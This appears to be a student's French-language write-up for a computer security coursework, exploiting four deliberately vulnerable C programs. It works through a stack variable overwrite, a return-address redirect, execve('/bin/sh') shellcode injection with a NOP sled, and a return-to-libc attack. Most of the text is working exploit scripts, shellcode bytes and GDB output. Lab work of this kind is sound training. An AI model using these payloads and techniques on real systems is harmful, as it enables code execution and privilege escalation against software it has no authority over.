

Coursework 2 Compsec

Task 1

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv){
    volatile unsigned int pidgeon = 0xe0e5b330;
    unsigned int correct_pwd = 0;

    char pwd[373];
    volatile unsigned int rooster = 0x43ff88e4;
    char entered_pwd[373];

    FILE *fptr = fopen("/task1/password.txt", "r");

    if(fptr == NULL){
        printf("Error opening password vault!\n");
        exit(1);
    }

    fscanf(fptr, "%s", pwd);
    fclose(fptr);

    scanf("%s", entered_pwd);

    sleep(1);
    if(strcmp(entered_pwd, pwd)){
        printf("Incorrect password\n");
    }
    else{
        correct_pwd = 1;
        printf("Correct password\n");
    }

    if (pidgeon != 0xe0e5b330 || rooster != 0x43ff88e4) {
        printf("Stack smashing detected!!");
        return 0;
    }
    else if(correct_pwd) {
```

```

printf("\nYou are now authenticated, you deserve a cookie!\n");
fptr = fopen("/task1/secret.txt", "r");
if (fptr == NULL) {
    printf("But the cookie jar is broken...\n");
}
char secret[1024];
fscanf(fptr, "%s", secret);
fclose(fptr);
printf("%s", secret);
}
return 0;
}

```

info locales donnait ça, avec les écarts au milieu :

```

0xfffffd60c  correct_pwd
4
0xfffffd608  fptr
4
0xfffffd604  pidgeon
373
0xfffffd48f  pwd
7
0xfffffd488  rooster
373
0xfffffd313  entered_pwd

```

taille unsigned int = 4

taille char = 1

donc :

370 + 3 zeros = 373 pour remplir le entered_pwd

ensuite le rooster correct

ensuite 370 + 1 zéro pour remplir pwd comme entered_pwd (pas besoin de remplir jusqu'à 373 de toute façon strcmp s'arrête au premier null byte)

task1.sh

```

#!/usr/bin/env bash
(
    printf 'A%.0s' {1..370}
    printf '\x00\x00\x00\xe4\x88\xff\x43\x00\x00\x00'
    printf 'A%.0s' {1..370}
)

```

```
    printf '\x00'
) | /task1/s2895113/vuln
```

Task 2

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void read_secret() {
    FILE *fptr = fopen("/task2/secret.txt", "r");
    char secret[1024];
    fscanf(fptr, "%512s", secret);
    printf("Well done!\nThere you go, a wee reward: %s\n", secret);
    exit(0);
}

int fib(int n)
{
    if ( n == 0 )
        return 0;
    else if ( n == 1 )
        return 1;
    else
        return ( fib(n-1) + fib(n-2) );
}

void vuln(char *name)
{
    int n = 20;
    char buf[1297];
    int f[n];
    int i;
    for (i=0; i<n; i++) {
        f[i] = fib(i);
    }
    strcpy(buf, name);
    printf("Welcome %s!\n", buf);
    for (i=0; i<20; i++) {
        printf("By the way, the %dth Fibonacci number might be %d\n", i, f[i]);
    }
}
```

```

int main(int argc, char *argv[])
{
    if (argc < 2) {
        printf("Tell me your names, tricksy hobbitses!\n");
        return 0;
    }

    // printf("main function at %p\n", main);
    // printf("read_secret function at %p\n", read_secret);
    vuln(argv[1]);
    return 0;
}

```

- on veut écrire read_secret = 0x80491c6
- dans l'emplacement de l'adresse de retour EBP+4 = 0xffffd5ec
- on peut écrire via buf = 0xffffd0bf dont la taille prévue = 1297

entre EBP+4 et buf, il y a 1325 bytes.

On essaye donc de faire un overflow.

Problème : si on écrit juste des A entre buf et EBP+4 , (somehow?) on écrase une adresse sur le stack juste après buf (qui est en l'adresse de f). On s'en est rendu compte en faisant des info locals et en voyant que f = <cannot reference 0x4141414..> .

du coup ce qu'on fait c'est qu'on écrit l'adresse de f juste après avoir rempli buf ! On a trouvé l'adresse de buf via GDB mais aussi en regardant simplement juste après buf dans le stack.

```

% python3 -c "import sys; sys.stdout.buffer.write(b'A'*1297 +
b'\x50\xd0\xff\xff' + b'\x01'*24 + b'\xc6\x91\x04\x08')" > payload

```

task2.sh

```

#!/usr/bin/env bash

/task2/s2895113/vuln $(python3 -c "import sys;
sys.stdout.buffer.write(b'A'*1297 + b'\x50\xd0\xff\xff' + b'\x01'*24 +
b'\xc6\x91\x04\x08')")

```

les A*1297 c'est pour remplir buf , ensuite l'adresse de f , ensuite du garbage, ensuite l'adresse de retour qu'on vu (read_secret).

Task 3

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vuln(char *name, int index)
{
    char buf[1297] = "Let's see if it works!?!";
    printf("Old buffer: %s\n", buf);
    char *ptr = buf + index;
    strcpy(ptr, name);
    printf("New buffer: %s\n", buf);
    printf("Fresh data: %s\n", ptr);
}

int main(int argc, char *argv[])
{
    if (argc < 3) {
        printf("Please enter new data and offset");
        return 1;
    }
    vuln(argv[1], atoi(argv[2]));
    printf("Returned to main\n");
    return 0;
}
```

Objectif : insérer du shellcode dans la mémoire puis faire en sorte de jump dessus.

Solution :

- insérer le shellcode via le `strcpy` à la position `EBP+8`.
- insérer l'adresse `EBP+8` à la position `EBP+4` (= la position de la return address).
- comme ça à la fin de `vuln`, le CPU lit comme adresse de retour `EBP+8`, et jump sur notre shellcode.
- on a pas à s'inquiéter du canary situé entre `buf` et `EBP+0` parce qu'on écrit directement **après** à `EBP+4` (donc on le saute)

La première chose à trouver c'est la distance entre `buf` et `EBP+4` : avec GDB ça se trouve = 1329.

```
$ebp+4 : 0xffffd5cc  
adresse de buf : 0xffffd09b  
différence entre $ebp+4 et adresse de buf = 1329
```

payload 1 (qui marche dans GDB!)

```
python3 -c "import sys; sys.stdout.buffer.write(b'\xd0\xd5\xff\xff' +  
b'\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x  
68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80\u2019a)\u201d  
> payload
```

```
env -i ./vuln $(cat /home/student/cw/payload) 1329
```

(qui correspond à [EBP+8] + [SHELLCODE])

Le problème... c'est que ça fonctionne pas en dehors de GDB.

Les adresses absolues sont différentes en fonction de GDB et en dehors de GDB, mais les adresses relatives et les offsets entre les variables (typiquement entre buf et EBP+8) restent identiques.

payload 2 (nop-sled)

```
python3 -c "import sys; sys.stdout.buffer.write(b'\xff\xd5\xff\xff' +  
b'\x90'*10000 +  
b'\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x  
68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80')" > payload
```

```
env -i ./vuln $(cat /home/student/cw/payload) 1329
```

Ce qu'on fait, c'est que comme on sait pas exactement ce qu'on doit mettre en adresse de retour absolue (parce qu'on sait pas exactement où on a mis notre code), on met une adresse bien loin, et on met des nop partout, comme ça on se dit qu'on tombera forcément sur des nop.

et ça marche, mais c'est pas propre.

Solution finale

le programme faisait un segfault quand on essayait avec le payload 1.

on a activé les coredumps et on a chargé le coredump (`gdb vuln /var/lib/apport/coredump/core._task3_s2895113_vuln.1000.93586ae7-f561-4715-b62b-8907a90011b7.5755.2864585`)

là on a pu se rendre compte que notre théorie des offsets identiques entre GDB et en dehors de GDB était correcte car via `info registers` on a vu que `EBP` était bien set à la valeur de notre fonction de retour (mais celle-ci était fausse, l'adresse absolue ne correspondait pas à l'endroit où se situait notre shell code)

en faisant `EBP - 379` on est tombé sur le contenu de `buf` et donc sur son adresse absolue puis on a additionné 1329 (car l'offset trouvé via GDB reste identique). du coup on savait à quelle instruction sauter pour avoir le shell code.

```
0xffffd93b: 0x00000000 0x00000000
(gdb) x/50wx 0xffffddfd8 - 1373 + 1329
0xffffddcc: 0xffffdd30 0x9958316a 0xc38980cd 0x466ac189
0xffffdddc: 0xb080cd58 0x6e68520b 0x6868732f 0x69622f2f
0xffffddec: 0xd189e389 0xf70080cd 0xffffdec4 0xf7ffd020
0xffffddfc: 0xf7d9e519 0xffffdfbe 0x00000070 0xf7ffd000
0xffffde0c: 0xf7d9e519 0x00000003 0xffffdec4 0xffffded4
0xffffde1c: 0xffffde30 0xf7fa3000 0x080492df 0x00000003
0xffffde2c: 0xffffdec4 0xf7fa3000 0xffffdec4 0xf7ffcb80
0xffffde3c: 0xf7ffd020 0x81b484b6 0xcdc10ea6 0x00000000
0xffffde4c: 0x00000000 0x00000000 0xf7ffcb80 0xf7ffd020
0xffffde5c: 0xc0e5e000 0xf7ffda40 0xf7d9e4a6 0xf7fa3000
0xffffde6c: 0xf7d9e5f3 0x00000000 0x0804bf10 0xffffded4
0xffffde7c: 0xf7ffd020 0x00000000 0xf7fd8f94 0xf7d9e56d
0xffffde8c: 0x0804c000 0x00000003
(gdb)
```

image-36.png

payload final

```
python3 -c "import sys; sys.stdout.buffer.write(b'\xd0\xdd\xff\xff' +
b'\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x
68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80')"
```

`env -i ./vuln $(cat /home/student/cw/payload) 1329`

task3.sh

```
#!/usr/bin/env bash

cd /task3/s2895113

echo /bin/cat /task3/secret.txt | env -i \
./vuln $(python3 -c "import sys; sys.stdout.buffer.write(b'\xd0\xdd\xff\xff' +
```

```
b'\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80')") 1329
```

Task 4

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void vuln(char *name, int index)
{
    char buf[1297] = "Let's see if it works!?!";
    printf("Old buffer: %s\n", buf);
    char *ptr = buf + index;
    strncpy(ptr, name, 128);
    printf("New buffer: %s\n", buf);
    printf("Fresh data: %s\n", ptr);
}

int main(int argc, char *argv[])
{
    setreuid(geteuid(), geteuid());
    if (argc < 3) {
        printf("Please enter new data and offset");
        return 1;
    }
    vuln(argv[1], atoi(argv[2]));
    printf("Returned to main\n");
    return 0;
}
```

<https://medium.com/@mounisha.makineni12/return-to-libc-attack-exploiting-buffer-overflow-for-privilege-escalation-105fea0fe9a2>

To properly redirect execution, we need to structure the stack as follows:

- `**ebp + 4**` → Overwritten with **system() address** (so execution jumps to it)
- `**ebp + 8**` → Overwritten with **exit() address** (to ensure the program exits cleanly)
- `**ebp + 12**` → Overwritten with the address of **"/bin/sh"** (argument for system())


```
(gdb) find &system, +9999999, "/bin/sh"
0xf7f360d5
warning: Unable to access 16000 bytes of target memory at 0xf7fab3dd,
halting search.
1 pattern found.
(gdb) p &system
$1 = (<text variable, no debug info> *) 0xf7dc4cd0 <system>
(gdb) p &exit
$2 = (<text variable, no debug info> *) 0xf7db71f0 <exit>
(gdb) p &buf
$3 = (char (*)(1297)) 0xffffccfb
(gdb) p $ebp+4
$4 = (void *) 0xffffd22c
(gdb)
```

apparemment l'adresse de `system` reste constante, même avec le PIE activé

```
&buf - $ebp+4 : 1329
```

task4.sh

```
#!/usr/bin/env bash

cd /task4/s2895113

echo /bin/cat /task4/secret.txt | env -i SHELL=/bin/sh \
    ./vuln $(python3 -c "import sys;
sys.stdout.buffer.write(b'\xd0\x4c\xdc\xf7' + b'\xf0\x71\xdb\xf7' +
b'\xd5\x60\xf3\xf7')") 1329
```